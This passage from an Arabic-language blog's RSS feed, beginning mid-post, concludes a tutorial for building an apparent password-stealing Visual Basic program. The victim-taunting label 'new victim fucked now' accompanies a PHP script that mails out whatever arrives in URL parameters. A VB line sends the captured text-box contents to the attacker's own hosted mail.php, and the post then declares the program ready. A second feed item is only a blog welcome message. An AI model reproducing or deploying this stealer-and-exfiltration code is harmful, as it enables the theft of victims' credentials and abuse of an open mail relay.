Text2.Text = "new victim fucked now "&lt;br /&gt;
sifrelerial&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeMMOpf5bKyDUQEqPIbj6PU3GJpmaYUITdFaBOxB5WWZZwubz90RHXURj0rtvsmvmkKUfPInQaPZ4o1vhONlQ20CrRVzmW1VRi3F72kMNe0PGateL-D_10WFiTbl_CUmjTXQmUO84RN2s/s1600/K3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeMMOpf5bKyDUQEqPIbj6PU3GJpmaYUITdFaBOxB5WWZZwubz90RHXURj0rtvsmvmkKUfPInQaPZ4o1vhONlQ20CrRVzmW1VRi3F72kMNe0PGateL-D_10WFiTbl_CUmjTXQmUO84RN2s/s400/K3.JPG" width="400" /&gt;&lt;/a&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZpbqQHJyW7_cBRDkkPeqlFqDF5qBAPjQwXBEseU9t05DMbQwS_rgVqSAHaNIGX1-VGYqGHkaN7uUB1o4b78Hh0maXH3aHysl27ranHGJ7-DdkosM4JAhTBMp0_3xedylPQKGlde7hpwo/s1600/K4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZpbqQHJyW7_cBRDkkPeqlFqDF5qBAPjQwXBEseU9t05DMbQwS_rgVqSAHaNIGX1-VGYqGHkaN7uUB1o4b78Hh0maXH3aHysl27ranHGJ7-DdkosM4JAhTBMp0_3xedylPQKGlde7hpwo/s400/K4.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
ثم نأتي إلى المرحلة الأخيرة و هي برمجة الملف الذي يرسل التبليغ إليك و هو ملف من نوع بي ش بي نفتح ملف نصي تكس ت ونكتب الكود التالي&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;
$mail=$_GET[mail];&lt;br /&gt;
$subject=$_GET[subject];&lt;br /&gt;
$body=$_GET[body];&lt;br /&gt;
mail($mail,$subject,$body);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;nbsp;وقم برفعه على إستضافة مجانية و أفتح الفورم لود مرة أخرى أكتب تحت الكود الأول ما يلي&lt;br /&gt;
&lt;br /&gt;
Delay 5&lt;br /&gt;
WebBrowser1.Navigate "http://موقعك.net/mail.php" + "?mail=" + Text1 + "&amp;amp;subject=" + Text2 + "&amp;amp;body=" + Text3&lt;br /&gt;
&lt;br /&gt;
و الآن برنامجك جاهز&lt;br /&gt;
&lt;br /&gt;
WWW.AMINE-TECH.BLOGSPOT.COM&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhLetbelPARM1N-FwaNxwxp8jrGBewwfBaQylg5sMIV-j1LjudifE9sTr0bRf-5Z8F6Xm22FpCNnQs_1Yt8Tf3G4meabSG9NzUexjd9AeN1FdPXeqqf_fYxfWgoNKAQ97AYeWySxZOKI/s1600/K5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhLetbelPARM1N-FwaNxwxp8jrGBewwfBaQylg5sMIV-j1LjudifE9sTr0bRf-5Z8F6Xm22FpCNnQs_1Yt8Tf3G4meabSG9NzUexjd9AeN1FdPXeqqf_fYxfWgoNKAQ97AYeWySxZOKI/s400/K5.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;و عند طلبكم سوف أضع فيديو لكيفية البرمجة&lt;br /&gt;
إلى اللقاء&lt;/div&gt;</description><link>http://amine-tech.blogspot.com/2010/06/blog-post.html</link><author>noreply@blogger.com (Amine)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLuHcqG3PbL9d0tAHyHXo0eR1ecMPX83R9zzVwV3jZrY1-Yx25RuRGDBRRadINZUTsTHdcQtq499hcyyfZG4ZT_fGC4DGJ4YXKSqcIUE_0f5OdK8qxehaInJndPBXci48QcX_fEYguTB4/s72-c/K0.JPG" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3988438835518841677.post-2106230057127765737</guid><pubDate>Fri, 28 May 2010 16:36:00 +0000</pubDate><atom:updated>2010-05-28T09:42:53.180-07:00</atom:updated><title>مرحبا بكم في مدونتي ##welcome##</title><description>&lt;div dir="rtl" style="text-align: right;" trbidi="on"&gt;&lt;div style="text-align: right;"&gt;&lt;a href="http://www.licencephoto.com/mini_photos/9BBxI9Fdvq/Informatique-Hardware1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://www.licencephoto.com/mini_photos/9BBxI9Fdvq/Informatique-Hardware1.jpg" width="320" /&gt;&lt;/a&gt;مرحبا بالجميع في مدونتي المتواضعة التي سنناقش فيها كل ما هو تقني و سوف نتعلم كثيرا حيث سيكون لنا ب إذن الله دروس جميلة&amp;nbsp; لفعل أشياء كثيرة في عالم المعلوماتية و عالم الشبكة العنكبوتية فأنتضروني فأنا بصدد تحضير كل المعلومات التي أملك على شكل دروس إن شاء الله أرجو من الجميع الإفادة والإستفادة و إلى موعد الدروس إن شاء الله&lt;/div&gt;&lt;/div&gt;</description><link>http://amine-tech.blogspot.com/2010/05/welcome.html</link><author>noreply@blogger.com (Amine)</author><thr:total>0</thr:total></item></channel></rss>